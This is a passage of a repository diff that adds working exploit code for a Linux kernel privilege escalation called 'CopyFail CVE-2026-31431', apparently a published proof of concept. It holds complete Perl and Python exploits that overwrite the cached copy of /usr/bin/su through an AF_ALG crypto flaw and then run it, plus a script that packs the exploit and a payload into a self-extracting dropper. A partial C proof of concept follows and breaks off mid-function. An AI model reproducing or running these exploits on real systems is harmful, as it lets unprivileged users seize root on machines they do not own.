overwrite_4_bytes(file_fd, (off_t)i, PAYLOAD_BYTES + i);
|
||||||
|
|
||||||
|
close(file_fd);
|
||||||
|
|
||||||
|
printf("[+] payload staged into page cache, executing target...\n");
|
||||||
|
execl("/bin/su", "su", NULL);
|
||||||
|
die("execl(su)");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
181
exploit-scripts/exploit.pl
Normal file
181
exploit-scripts/exploit.pl
Normal file
|
|
@ -0,0 +1,181 @@
|
||||||
|
#!/usr/bin/env perl
|
||||||
|
#
|
||||||
|
# CopyFail CVE-2026-31431 Linux LPE exploit, Perl version.
|
||||||
|
#
|
||||||
|
# Usage:
|
||||||
|
# perl exploit.pl [target_path] [payload_elf]
|
||||||
|
# COPYFAIL_DEBUG=1 perl exploit.pl
|
||||||
|
#
|
||||||
|
# Defaults:
|
||||||
|
# target_path = /usr/bin/su
|
||||||
|
# payload_elf = ./payload.pwnkit.elf
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use Config;
|
||||||
|
|
||||||
|
die "x86_64 Perl required\n" unless $Config{ptrsize} == 8;
|
||||||
|
|
||||||
|
use constant {
|
||||||
|
SYS_WRITE => 1,
|
||||||
|
SYS_OPEN => 2,
|
||||||
|
SYS_CLOSE => 3,
|
||||||
|
SYS_PIPE => 22,
|
||||||
|
SYS_SOCKET => 41,
|
||||||
|
SYS_ACCEPT => 43,
|
||||||
|
SYS_RECVFROM => 45,
|
||||||
|
SYS_SENDMSG => 46,
|
||||||
|
SYS_BIND => 49,
|
||||||
|
SYS_SETSOCKOPT => 54,
|
||||||
|
SYS_EXECVE => 59,
|
||||||
|
SYS_SPLICE => 275,
|
||||||
|
|
||||||
|
AF_ALG => 38,
|
||||||
|
SOCK_SEQPACKET => 5,
|
||||||
|
SOL_ALG => 279,
|
||||||
|
ALG_SET_KEY => 1,
|
||||||
|
ALG_SET_IV => 2,
|
||||||
|
ALG_SET_OP => 3,
|
||||||
|
ALG_SET_AEAD_ASSOCLEN => 4,
|
||||||
|
ALG_SET_AEAD_AUTHSIZE => 5,
|
||||||
|
MSG_MORE => 0x8000,
|
||||||
|
|
||||||
|
O_RDONLY => 0,
|
||||||
|
};
|
||||||
|
|
||||||
|
my $DEBUG = $ENV{COPYFAIL_DEBUG} ? 1 : 0;
|
||||||
|
|
||||||
|
sub ptr {
|
||||||
|
return unpack("Q<", pack("P", $_[0]));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub xsyscall {
|
||||||
|
my ($name, @args) = @_;
|
||||||
|
my $ret = syscall(@args);
|
||||||
|
die "$name: $!\n" if !defined($ret) || $ret < 0;
|
||||||
|
return $ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub read_payload {
|
||||||
|
my ($path) = @_;
|
||||||
|
open(my $fh, "<:raw", $path) or die "open($path): $!\n";
|
||||||
|
local $/;
|
||||||
|
my $payload = <$fh>;
|
||||||
|
close($fh);
|
||||||
|
die "empty payload: $path\n" unless defined($payload) && length($payload);
|
||||||
|
return $payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub open_authencesn_socket {
|
||||||
|
my $tfm = xsyscall("socket(AF_ALG)", SYS_SOCKET, AF_ALG, SOCK_SEQPACKET, 0);
|
||||||
|
|
||||||
|
my $sockaddr_alg = pack(
|
||||||
|
"S< a14 L< L< a64",
|
||||||
|
AF_ALG,
|
||||||
|
"aead" . ("\0" x 10),
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
"authencesn(hmac(sha256),cbc(aes))"
|
||||||
|
);
|
||||||
|
|
||||||
|
xsyscall("bind(authencesn)", SYS_BIND, $tfm, $sockaddr_alg, length($sockaddr_alg));
|
||||||
|
|
||||||
|
my $keyblob = pack("S< S< N", 8, 1, 16) . ("\0" x 32);
|
||||||
|
xsyscall("setsockopt(ALG_SET_KEY)",
|
||||||
|
SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_KEY, $keyblob, length($keyblob));
|
||||||
|
|
||||||
|
xsyscall("setsockopt(ALG_SET_AEAD_AUTHSIZE)",
|
||||||
|
SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 0, 4);
|
||||||
|
|
||||||
|
my $op = xsyscall("accept", SYS_ACCEPT, $tfm, 0, 0);
|
||||||
|
return ($tfm, $op);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub queue_aad {
|
||||||
|
my ($op, $chunk) = @_;
|
||||||
|
|
||||||
|
my $aad = "AAAA" . $chunk;
|
||||||
|
my $iov = pack("Q< Q<", ptr($aad), length($aad));
|
||||||
|
|
||||||
|
my $cbuf =
|
||||||
|
pack("Q< L< L< L< x4", 20, SOL_ALG, ALG_SET_OP, 0) .
|
||||||
|
pack("Q< L< L< L< a16 x4", 36, SOL_ALG, ALG_SET_IV, 16, "\0" x 16) .
|
||||||
|
pack("Q< L< L< L< x4", 20, SOL_ALG, ALG_SET_AEAD_ASSOCLEN, 8);
|
||||||
|
|
||||||
|
my $msg = pack(
|
||||||
|
"Q< L< x4 Q< Q< Q< Q< L< x4",
|
||||||
|
0, 0,
|
||||||
|
ptr($iov), 1,
|
||||||
|
ptr($cbuf), length($cbuf),
|
||||||
|
0
|
||||||
|
);
|
||||||
|
|
||||||
|
xsyscall("sendmsg(AAD)", SYS_SENDMSG, $op, $msg, MSG_MORE);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub splice_target_window {
|
||||||
|
my ($file_fd, $op, $target_offset) = @_;
|
||||||
|
|
||||||
|
my $pipebuf = "\0" x 8;
|
||||||
|
xsyscall("pipe", SYS_PIPE, $pipebuf);
|
||||||
|
my ($rfd, $wfd) = unpack("l< l<", $pipebuf);
|
||||||
|
|
||||||
|
my $splice_len = $target_offset + 4;
|
||||||
|
my $splice_off = pack("q<", 0);
|
||||||
|
|
||||||
|
xsyscall("splice(file -> pipe)",
|
||||||
|
SYS_SPLICE, $file_fd, $splice_off, $wfd, 0, $splice_len, 0);
|
||||||
|
|
||||||
|
xsyscall("splice(pipe -> AF_ALG)",
|
||||||
|
SYS_SPLICE, $rfd, 0, $op, 0, $splice_len, 0);
|
||||||
|
|
||||||
|
syscall(SYS_CLOSE, $rfd);
|
||||||
|
syscall(SYS_CLOSE, $wfd);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub trigger_decrypt {
|
||||||
|
my ($op, $target_offset) = @_;
|
||||||
|
my $rx_len = $target_offset + 8;
|
||||||
|
my $rxbuf = "\0" x $rx_len;
|
||||||
|
|
||||||
|
my $ret = syscall(SYS_RECVFROM, $op, $rxbuf, $rx_len, 0, 0, 0);
|
||||||
|
print " [-] recv() returned: $!\n" if $DEBUG && defined($ret) && $ret < 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub overwrite_4_bytes {
|
||||||
|
my ($file_fd, $target_offset, $chunk) = @_;
|
||||||
|
$chunk .= "\0" x (4 - length($chunk)) if length($chunk) < 4;
|
||||||
|
|
||||||
|
print sprintf("[+] overwrite \@ 0x%x: %s\n", $target_offset, unpack("H*", $chunk))
|
||||||
|
if $DEBUG;
|
||||||
|
|
||||||
|
my ($tfm, $op) = open_authencesn_socket();
|
||||||
|
queue_aad($op, $chunk);
|
||||||
|
splice_target_window($file_fd, $op, $target_offset);
|
||||||
|
trigger_decrypt($op, $target_offset);
|
||||||
|
syscall(SYS_CLOSE, $op);
|
||||||
|
syscall(SYS_CLOSE, $tfm);
|
||||||
|
}
|
||||||
|
|
||||||
|
my $target = $ARGV[0] // "/usr/bin/su";
|
||||||
|
my $payload_path = $ARGV[1] // "./payload.pwnkit.elf";
|
||||||
|
my $payload = read_payload($payload_path);
|
||||||
|
my $payload_len = length($payload);
|
||||||
|
|
||||||
|
print "[+] target : $target\n";
|
||||||
|
print "[+] payload : $payload_len bytes from $payload_path\n";
|
||||||
|
print "[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n";
|
||||||
|
|
||||||
|
my $file_fd = xsyscall("open(target)", SYS_OPEN, $target, O_RDONLY, 0);
|
||||||
|
|
||||||
|
for (my $off = 0; $off < $payload_len; $off += 4) {
|
||||||
|
overwrite_4_bytes($file_fd, $off, substr($payload, $off, 4));
|
||||||
|
}
|
||||||
|
|
||||||
|
syscall(SYS_CLOSE, $file_fd);
|
||||||
|
|
||||||
|
print "[+] payload staged into page cache, executing target...\n";
|
||||||
|
my $arg0 = "su\0";
|
||||||
|
my $argv = pack("Q< Q<", ptr($arg0), 0);
|
||||||
|
syscall(SYS_EXECVE, $target, $argv, 0);
|
||||||
|
die "execve($target): $!\n";
|
||||||
219
exploit-scripts/exploit.py
Normal file
219
exploit-scripts/exploit.py
Normal file
|
|
@ -0,0 +1,219 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
#
|
||||||
|
# Title : CopyFail CVE-2026-31431 Linux LPE exploit
|
||||||
|
# Date : 2026-05-15
|
||||||
|
# Author : Axura (@4xura) - https://4xura.com
|
||||||
|
#
|
||||||
|
# Description:
|
||||||
|
# ------------
|
||||||
|
# AAD[4:8] -> 4-byte controlled write value
|
||||||
|
# authsize = 4 -> target bytes sit in the imported tag tail
|
||||||
|
# splice len=t+4 -> the last 4 imported file bytes are the overwrite target
|
||||||
|
# recv() -> triggers authencesn() scratch write, even if auth fails
|
||||||
|
#
|
||||||
|
# Usage:
|
||||||
|
# ------
|
||||||
|
# python3 exploit.py
|
||||||
|
# DEBUG=1 python3 exploit.py [target_basename]
|
||||||
|
# python3 exploit.py [target_basename]
|
||||||
|
#
|
||||||
|
# Notes:
|
||||||
|
# ------
|
||||||
|
# Provided for educational purposes only. Use responsibly.
|
||||||
|
#
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import zlib
|
||||||
|
import socket
|
||||||
|
|
||||||
|
|
||||||
|
DEBUG = bool(os.getenv("DEBUG"))
|
||||||
|
|
||||||
|
|
||||||
|
def hex_bytes(s: str) -> bytes:
|
||||||
|
return bytes.fromhex(s)
|
||||||
|
|
||||||
|
|
||||||
|
SOL_ALG = 279
|
||||||
|
ALG_SET_KEY = 1
|
||||||
|
ALG_SET_IV = 2
|
||||||
|
ALG_SET_OP = 3
|
||||||
|
ALG_SET_AEAD_ASSOCLEN = 4
|
||||||
|
ALG_SET_AEAD_AUTHSIZE = 5
|
||||||
|
MSG_MORE = 0x8000
|
||||||
|
|
||||||
|
|
||||||
|
# authenc key blob:
|
||||||
|
# [rtattr|authenc param|16-byte auth key|16-byte AES key]
|
||||||
|
AUTHENC_KEY_BLOB = hex_bytes("0800010000000010" + "0" * 64)
|
||||||
|
|
||||||
|
|
||||||
|
def open_authencesn_socket() -> tuple[socket.socket, socket.socket]:
|
||||||
|
"""
|
||||||
|
Open the vulnerable AEAD transform and one accepted request socket.
|
||||||
|
|
||||||
|
userspace:
|
||||||
|
socket(AF_ALG) -> bind("aead", "authencesn(...)") -> accept()
|
||||||
|
|
||||||
|
kernel:
|
||||||
|
AF_ALG family -> algif_aead -> authencesn decrypt callback later on recv()
|
||||||
|
"""
|
||||||
|
tfm = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
|
||||||
|
tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
|
||||||
|
tfm.setsockopt(SOL_ALG, ALG_SET_KEY, AUTHENC_KEY_BLOB)
|
||||||
|
tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
|
||||||
|
op, _ = tfm.accept()
|
||||||
|
return tfm, op
|
||||||
|
|
||||||
|
|
||||||
|
def queue_aad(op: socket.socket, write_value: bytes) -> None:
|
||||||
|
"""
|
||||||
|
Queue 8 bytes of AAD. Bytes 4..7 become the later 4-byte overwrite.
|
||||||
|
|
||||||
|
AAD layout:
|
||||||
|
byte 0..3 = filler
|
||||||
|
byte 4..7 = controlled value written later by authencesn()
|
||||||
|
|
||||||
|
+------+------+------+------+------+------+------+------+
|
||||||
|
| A | A | A | A | w0 | w1 | w2 | w3 |
|
||||||
|
+------+------+------+------+------+------+------+------+
|
||||||
|
"""
|
||||||
|
zero = hex_bytes("00")
|
||||||
|
aad = b"A" * 4 + write_value
|
||||||
|
|
||||||
|
# Control messages:
|
||||||
|
# ALG_SET_OP -> decrypt
|
||||||
|
# ALG_SET_IV -> 16-byte IV
|
||||||
|
# ALG_SET_AEAD_ASSOCLEN -> assoclen = 8
|
||||||
|
op.sendmsg(
|
||||||
|
[aad],
|
||||||
|
[
|
||||||
|
(SOL_ALG, ALG_SET_OP, zero * 4),
|
||||||
|
(SOL_ALG, ALG_SET_IV, b"\x10" + zero * 19),
|
||||||
|
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x08" + zero * 3),
|
||||||
|
],
|
||||||
|
MSG_MORE,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def splice_target_window(file_fd: int, op_fd: int, target_offset: int) -> None:
|
||||||
|
"""
|
||||||
|
Import the file window whose last 4 bytes are the overwrite target.
|
||||||
|
|
||||||
|
splice_len = target_offset + 4
|
||||||
|
|
||||||
|
so that the imported bytes are:
|
||||||
|
|
||||||
|
file[0 : target_offset] -> ciphertext region
|
||||||
|
file[target_offset : +4] -> preserved tag tail
|
||||||
|
|
||||||
|
authsize = 4 makes those last 4 bytes sit exactly where authencesn()
|
||||||
|
later performs its destination-side scratch write.
|
||||||
|
"""
|
||||||
|
splice_len = target_offset + 4
|
||||||
|
read_fd, write_fd = os.pipe()
|
||||||
|
|
||||||
|
try:
|
||||||
|
# file -> pipe
|
||||||
|
os.splice(file_fd, write_fd, splice_len, offset_src=0)
|
||||||
|
# pipe -> AF_ALG socket
|
||||||
|
os.splice(read_fd, op_fd, splice_len)
|
||||||
|
finally:
|
||||||
|
os.close(read_fd)
|
||||||
|
os.close(write_fd)
|
||||||
|
|
||||||
|
|
||||||
|
def trigger_decrypt(op: socket.socket, target_offset: int) -> None:
|
||||||
|
"""
|
||||||
|
Trigger the decrypt path.
|
||||||
|
|
||||||
|
The exploit does not require a successful decrypt. It only requires
|
||||||
|
authencesn() to execute far enough that:
|
||||||
|
|
||||||
|
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)
|
||||||
|
|
||||||
|
performs the 4-byte write before recv() reports authentication failure.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
op.recv(8 + target_offset)
|
||||||
|
except OSError as e:
|
||||||
|
if DEBUG:
|
||||||
|
print(f" [-] recv() returned: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
def overwrite_4_bytes(file_fd: int, target_offset: int, chunk: bytes) -> None:
|
||||||
|
"""
|
||||||
|
Apply one 4-byte overwrite primitive.
|
||||||
|
|
||||||
|
exploit geometry for one iteration:
|
||||||
|
|
||||||
|
AAD[4:8] = chunk
|
||||||
|
|
|
||||||
|
v
|
||||||
|
recv() -> authencesn() scratch write
|
||||||
|
|
|
||||||
|
v
|
||||||
|
file[target_offset : target_offset+4] in page cache becomes chunk
|
||||||
|
"""
|
||||||
|
tfm, op = open_authencesn_socket()
|
||||||
|
try:
|
||||||
|
if DEBUG:
|
||||||
|
print(
|
||||||
|
f"[+] overwrite @ 0x{target_offset:x}: "
|
||||||
|
f"{chunk.hex()} ({chunk.decode('latin1', errors='replace')})"
|
||||||
|
)
|
||||||
|
queue_aad(op, chunk)
|
||||||
|
splice_target_window(file_fd, op.fileno(), target_offset)
|
||||||
|
trigger_decrypt(op, target_offset)
|
||||||
|
finally:
|
||||||
|
op.close()
|
||||||
|
tfm.close()
|
||||||
|
|
||||||
|
|
||||||
|
def decompress_payload() -> bytes:
|
||||||
|
# zlib-compressed replacement bytes written into the target.
|
||||||
|
#
|
||||||
|
# After decompression:
|
||||||
|
# payload[0:4] -> overwrite at file offset 0x0
|
||||||
|
# payload[4:8] -> overwrite at file offset 0x4
|
||||||
|
# ...
|
||||||
|
#
|
||||||
|
# main() walks this buffer in 4-byte chunks and turns each chunk into one
|
||||||
|
# AAD[4:8] value for one exploit iteration.
|
||||||
|
payload_blob = hex_bytes(
|
||||||
|
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07"
|
||||||
|
"e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5"
|
||||||
|
"190c0c0c0032c310d3"
|
||||||
|
)
|
||||||
|
return zlib.decompress(payload_blob)
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
target = "/usr/bin/su"
|
||||||
|
|
||||||
|
if len(sys.argv) > 1:
|
||||||
|
target = f"/usr/bin/{sys.argv[1]}"
|
||||||
|
|
||||||
|
payload = decompress_payload()
|
||||||
|
|
||||||
|
print(f"[+] target : {target}")
|
||||||
|
print(f"[+] payload : {len(payload)} bytes")
|
||||||
|
print("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write")
|
||||||
|
|
||||||
|
file_fd = os.open(target, os.O_RDONLY)
|
||||||
|
try:
|
||||||
|
# Each loop iteration patches one 4-byte slot in the target executable.
|
||||||
|
for target_offset in range(0, len(payload), 4):
|
||||||
|
chunk = payload[target_offset : target_offset + 4]
|
||||||
|
overwrite_4_bytes(file_fd, target_offset, chunk)
|
||||||
|
finally:
|
||||||
|
os.close(file_fd)
|
||||||
|
|
||||||
|
print("[+] payload staged into page cache, executing target...")
|
||||||
|
os.system("su")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
76
exploit-scripts/mk_busybox_dropper.sh
Normal file
76
exploit-scripts/mk_busybox_dropper.sh
Normal file
|
|
@ -0,0 +1,76 @@
|
||||||
|
#!/bin/sh
|
||||||
|
#
|
||||||
|
# Build a BusyBox-compatible self-extracting CopyFail runner.
|
||||||
|
#
|
||||||
|
# Usage:
|
||||||
|
# sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
|
||||||
|
# busybox sh copyfail-busybox.sh /usr/bin/su
|
||||||
|
#
|
||||||
|
# The generated script uses only common BusyBox applets: sh, printf, chmod,
|
||||||
|
# mkdir, rm, cd, and exec.
|
||||||
|
|
||||||
|
set -eu
|
||||||
|
|
||||||
|
if [ "$#" -ne 2 ]; then
|
||||||
|
echo "usage: $0 <exploit_asm> <payload.pwnkit.elf>" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
exploit_bin=$1
|
||||||
|
payload_elf=$2
|
||||||
|
|
||||||
|
[ -r "$exploit_bin" ] || { echo "cannot read exploit binary: $exploit_bin" >&2; exit 1; }
|
||||||
|
[ -r "$payload_elf" ] || { echo "cannot read payload ELF: $payload_elf" >&2; exit 1; }
|
||||||
|
|
||||||
|
emit_file() {
|
||||||
|
src=$1
|
||||||
|
dst=$2
|
||||||
|
|
||||||
|
printf "write_blob \"%s\" <<'__COPYFAIL_BLOB__'\n" "$dst"
|
||||||
|
od -An -tx1 -v "$src" |
|
||||||
|
awk '
|
||||||
|
{
|
||||||
|
for (i = 1; i <= NF; i++) {
|
||||||
|
buf = buf "\\x" $i
|
||||||
|
if (length(buf) >= 192) {
|
||||||
|
print buf
|
||||||
|
buf = ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
END {
|
||||||
|
if (length(buf))
|
||||||
|
print buf
|
||||||
|
}'
|
||||||
|
printf "__COPYFAIL_BLOB__\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
cat <<'EOF'
|
||||||
|
#!/bin/sh
|
||||||
|
set -eu
|
||||||
|
|
||||||
|
d=${TMPDIR:-/tmp}/.copyfail.$$
|
||||||
|
mkdir "$d" || exit 1
|
||||||
|
trap 'rm -rf "$d"' EXIT HUP INT TERM
|
||||||
|
umask 077
|
||||||
|
|
||||||
|
write_blob() {
|
||||||
|
out=$1
|
||||||
|
: > "$out"
|
||||||
|
while IFS= read -r line; do
|
||||||
|
[ "$line" = "__COPYFAIL_BLOB__" ] && break
|
||||||
|
printf '%b' "$line" >> "$out"
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
EOF
|
||||||
|
|
||||||
|
emit_file "$exploit_bin" '$d/exploit_asm'
|
||||||
|
emit_file "$payload_elf" '$d/payload.pwnkit.elf'
|
||||||
|
|
||||||
|
cat <<'EOF'
|
||||||
|
|
||||||
|
chmod 700 "$d/exploit_asm"
|
||||||
|
cd "$d"
|
||||||
|
exec ./exploit_asm "${1:-/usr/bin/su}"
|
||||||
|
EOF
|
||||||
322
proof-of-concept/copyfail_poc.c
Normal file
322
proof-of-concept/copyfail_poc.c
Normal file
|
|
@ -0,0 +1,322 @@
|
||||||
|
// copyfail_poc.c
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <linux/if_alg.h>
|
||||||
|
#include <linux/rtnetlink.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/uio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifndef AF_ALG
|
||||||
|
#define AF_ALG 38
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef SOL_ALG
|
||||||
|
#define SOL_ALG 279
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef ALG_SET_KEY
|
||||||
|
#define ALG_SET_KEY 1
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef ALG_SET_IV
|
||||||
|
#define ALG_SET_IV 2
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef ALG_SET_OP
|
||||||
|
#define ALG_SET_OP 3
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef ALG_SET_AEAD_ASSOCLEN
|
||||||
|
#define ALG_SET_AEAD_ASSOCLEN 4
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef ALG_OP_DECRYPT
|
||||||
|
#define ALG_OP_DECRYPT 0
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef ALG_SET_AEAD_AUTHSIZE
|
||||||
|
#define ALG_SET_AEAD_AUTHSIZE 5
|
||||||
|
#endif
|
||||||
|
|
||||||
|
enum {
|
||||||
|
CRYPTO_AUTHENC_KEYA_UNSPEC,
|
||||||
|
CRYPTO_AUTHENC_KEYA_PARAM,
|
||||||
|
};
|
||||||
|
|
||||||
|
struct crypto_authenc_key_param {
|
||||||
|
uint32_t enckeylen;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct af_alg_iv_custom {
|
||||||
|
uint32_t ivlen;
|
||||||
|
uint8_t iv[16];
|
||||||
|
};
|
||||||
|
|
||||||
|
static void die(const char *msg)
|
||||||
|
{
|
||||||
|
if (!strcmp(msg, "bind(AF_ALG)") && errno == ENOENT) {
|
||||||
|
fprintf(stderr,
|
||||||
|
"[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).\n"
|
||||||
|
"[!] Check /proc/crypto and try: sudo modprobe authencesn\n");
|
||||||
|
}
|
||||||
|
perror(msg);
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void print_marker(const char *label, const char *path, off_t off)
|
||||||
|
{
|
||||||
|
int fd;
|
||||||
|
uint8_t b[4];
|
||||||
|
|
||||||
|
fd = open(path, O_RDONLY);
|
||||||
|
if (fd < 0)
|
||||||
|
die("open(print marker)");
|
||||||
|
|
||||||
|
if (pread(fd, b, sizeof(b), off) != (ssize_t)sizeof(b))
|
||||||
|
die("pread(marker)");
|
||||||
|
|
||||||
|
printf("%s @ 0x%llx = %02x %02x %02x %02x (%.4s)\n",
|
||||||
|
label, (long long)off, b[0], b[1], b[2], b[3],
|
||||||
|
(const char *)b);
|
||||||
|
|
||||||
|
close(fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void create_target_file(const char *path, off_t overwrite_off)
|
||||||
|
{
|
||||||
|
int fd;
|
||||||
|
uint8_t fill = 'A';
|
||||||
|
uint8_t marker[4] = { 'O', 'R', 'I', 'G' };
|
||||||
|
off_t i;
|
||||||
|
|
||||||
|
fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0644);
|
||||||
|
if (fd < 0)
|
||||||
|
die("open(create target)");
|
||||||
|
|
||||||
|
for (i = 0; i < 0x3000; i++) {
|
||||||
|
if (write(fd, &fill, 1) != 1)
|
||||||
|
die("write(fill target)");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pwrite(fd, marker, sizeof(marker), overwrite_off) != (ssize_t)sizeof(marker))
|
||||||
|
die("pwrite(marker)");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Make the baseline file contents durable first. Otherwise the
|
||||||
|
* target page may still be dirty from file creation, and
|
||||||
|
* drop_caches will refuse to evict it during verification.
|
||||||
|
*/
|
||||||
|
if (fsync(fd) < 0)
|
||||||
|
die("fsync(target)");
|
||||||
|
|
||||||
|
if (fchmod(fd, 0444) < 0)
|
||||||
|
die("fchmod(target)");
|
||||||
|
|
||||||
|
close(fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void configure_aead(int tfm_fd)
|
||||||
|
{
|
||||||
|
unsigned int authsize = 0x10;
|
||||||
|
struct {
|
||||||
|
struct rtattr rta;
|
||||||
|
struct crypto_authenc_key_param param;
|
||||||
|
uint8_t keys[32 + 16];
|
||||||
|
} keybuf = {
|
||||||
|
.rta = {
|
||||||
|
.rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)),
|
||||||
|
.rta_type = CRYPTO_AUTHENC_KEYA_PARAM,
|
||||||
|
},
|
||||||
|
.param = {
|
||||||
|
.enckeylen = htonl(16),
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
memset(keybuf.keys, 0x41, 32);
|
||||||
|
memset(keybuf.keys + 32, 0x42, 16);
|
||||||
|
|
||||||
|
if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_KEY, &keybuf, sizeof(keybuf)) < 0)
|
||||||
|
die("setsockopt(ALG_SET_KEY)");
|
||||||
|
|
||||||
|
if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, authsize) < 0)
|
||||||
|
die("setsockopt(ALG_SET_AEAD_AUTHSIZE)");
|
||||||
|
|
||||||
|
printf("[+] AEAD configured: authkey=32, enckey=16, authsize=0x%x\n",
|
||||||
|
authsize);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void queue_aad(int op_fd, const uint8_t write_value[4])
|
||||||
|
{
|
||||||
|
uint8_t aad[8];
|
||||||
|
uint8_t cbuf[CMSG_SPACE(sizeof(uint32_t)) +
|
||||||
|
CMSG_SPACE(sizeof(struct af_alg_iv_custom)) +
|
||||||
|
CMSG_SPACE(sizeof(uint32_t))];
|
||||||
|
struct iovec iov;
|
||||||
|
struct msghdr msg;
|
||||||
|
struct cmsghdr *cmsg;
|
||||||
|
uint32_t op = ALG_OP_DECRYPT;
|
||||||
|
uint32_t assoclen = sizeof(aad);
|
||||||
|
|
||||||
|
memset(aad, 'A', 4);
|
||||||
|
memcpy(aad + 4, write_value, 4);
|
||||||
|
|
||||||
|
iov.iov_base = aad;
|
||||||
|
iov.iov_len = sizeof(aad);
|
||||||
|
|
||||||
|
memset(&msg, 0, sizeof(msg));
|
||||||
|
msg.msg_iov = &iov;
|
||||||
|
msg.msg_iovlen = 1;
|
||||||
|
msg.msg_control = cbuf;
|
||||||
|
msg.msg_controllen = sizeof(cbuf);
|
||||||
|
|
||||||
|
memset(cbuf, 0, sizeof(cbuf));
|
||||||
|
|
||||||
|
cmsg = CMSG_FIRSTHDR(&msg);
|
||||||
|
cmsg->cmsg_level = SOL_ALG;
|
||||||
|
cmsg->cmsg_type = ALG_SET_OP;
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(op));
|
||||||
|
memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
|
||||||
|
|
||||||
|
cmsg = CMSG_NXTHDR(&msg, cmsg);
|
||||||
|
cmsg->cmsg_level = SOL_ALG;
|
||||||
|
cmsg->cmsg_type = ALG_SET_IV;
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv_custom));
|
||||||
|
{
|
||||||
|
struct af_alg_iv_custom *iv =
|
||||||
|
(struct af_alg_iv_custom *)CMSG_DATA(cmsg);
|
||||||
|
iv->ivlen = 16;
|
||||||
|
memset(iv->iv, 0x44, sizeof(iv->iv));
|
||||||
|
}
|
||||||
|
|
||||||
|
cmsg = CMSG_NXTHDR(&msg, cmsg);
|
||||||
|
cmsg->cmsg_level = SOL_ALG;
|
||||||
|
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen));
|
||||||
|
memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen));
|
||||||
|
|
||||||
|
if (sendmsg(op_fd, &msg, MSG_MORE) < 0)
|
||||||
|
die("sendmsg(AAD)");
|
||||||
|
|
||||||
|
printf("[+] AAD queued: assoclen=%u, AAD[4:8]=%.4s\n",
|
||||||
|
assoclen, (const char *)write_value);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
const char *target = "./target.bin";
|
||||||
|
const off_t overwrite_off = 0x1234;
|
||||||
|
const size_t authsize = 0x10;
|
||||||
|
const size_t splice_len = 0x20;
|
||||||
|
off_t splice_off = overwrite_off - (splice_len - authsize);
|
